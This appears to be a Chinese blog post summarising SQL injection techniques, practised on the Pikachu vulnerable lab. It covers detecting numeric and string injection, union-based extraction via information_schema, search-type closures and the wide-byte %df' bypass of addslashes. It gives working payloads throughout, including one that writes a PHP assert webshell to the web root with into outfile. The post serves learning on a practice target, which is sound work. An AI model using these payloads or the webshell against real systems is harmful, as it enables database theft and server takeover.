sql注入小总结(部分以pikachu为例~满满干货~~)

A sql注入

想注入得先判断是数字型还是字符型注入

使用and或者or这两个逻辑运算符来判断字段是否是数字型,一般习惯于用and 1=2,如果是数字型,返回错误,但如果是字符型,返回正确。或者加单引号,数字型会报错,字符型也报错,但再加上--+注释符正常说明是字符型。

一些小姿势:

mysql数据库5.0以上版本,自带数据库,记录了mysql下所有的库名,表名,列名等信息。

主要用到以下几个:

schemata表 (mysql服务器中所有数据库信息的表)

tables表 (mysql服务器中所有表信息的表)

columns表(mysql服务器所有列信息的表)

table_schema 数据库名

table_name 表名

column_name 列名

写马payload

union select 1,'<?php assert($_POST[xxx]); ?>' into outfile 'C:/phpstudy_pro/WWW/'

POST型需要配合抓包工具进行注入

1.数字型

不需要闭合,一般步骤

id=1 order by 1,2,3 判断字段数

id=1 union select 1,2,3判断回显

id=-1 union select 1,database(),version()

流程走一遍

2.字符型

先判断闭合方式如:

加单引号报错,再加--+注释符正常,说明闭合成功。

继续如数字型注入走流程

常见闭合方式 : 单引号''、双引号""、括号()、括号+单引号('')、多层括号+单引号

常见注释方式:mysql注释符有#、-- (后面有空格,也就是--+)、/**/三种

3.搜索型注入

搜索型注入原理

原理

$sql="select * from user where password like '%$pwd%' order by password";

这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?

'and 1=1 and '%'='

这样的话这句SQL语句就变成了这样:

select * from user where password like '%fe'and 1=1 and '%'='%' order by password

则存在SQL注入。

下面这几种语句都可以:

'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='
以pikachu靶场为例

ko%' and 1=1 # 正常

ko%' and 1=2 # 报错

ko%' order by 3 # 正常,4报错,故有三个字段

-ko%' union select 1,database(),version() # 查询数据库,版本

剩下部分正常操作就行,不再演示

宽字节注入

c常见URL转码

’ 转码 %27

空格 转码 %20

# 转码%23

\ 转码 %5C

GET传参的宽字节注入id =1%df' or 1=1 #

1.经典绕过在引号前加个%df 之后就进行正常的注入就行了

转换:(%df')===>(%df%5c%27)===>(汉字 ’)

2.id=1%e5%5c%27

转换:(%e5%5c转为UTF-8为e9%8c%a6)

%e5%5c%27====>(addslashes)====>%e5%5c%5c%5c%27====(iconv)====>%e9%8c%a6%5c%5c%27

可以看到,多出了一个%5c,将转义符(反斜杠)本身转义,使得后面的%27单引号发挥了作用

POST传参只需要burp抓包,然后再进行注入,需要注意的是使用or条件

(name=kobe%df'or 1=1 #)

闭合成功,sqlmap一把梭哈

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值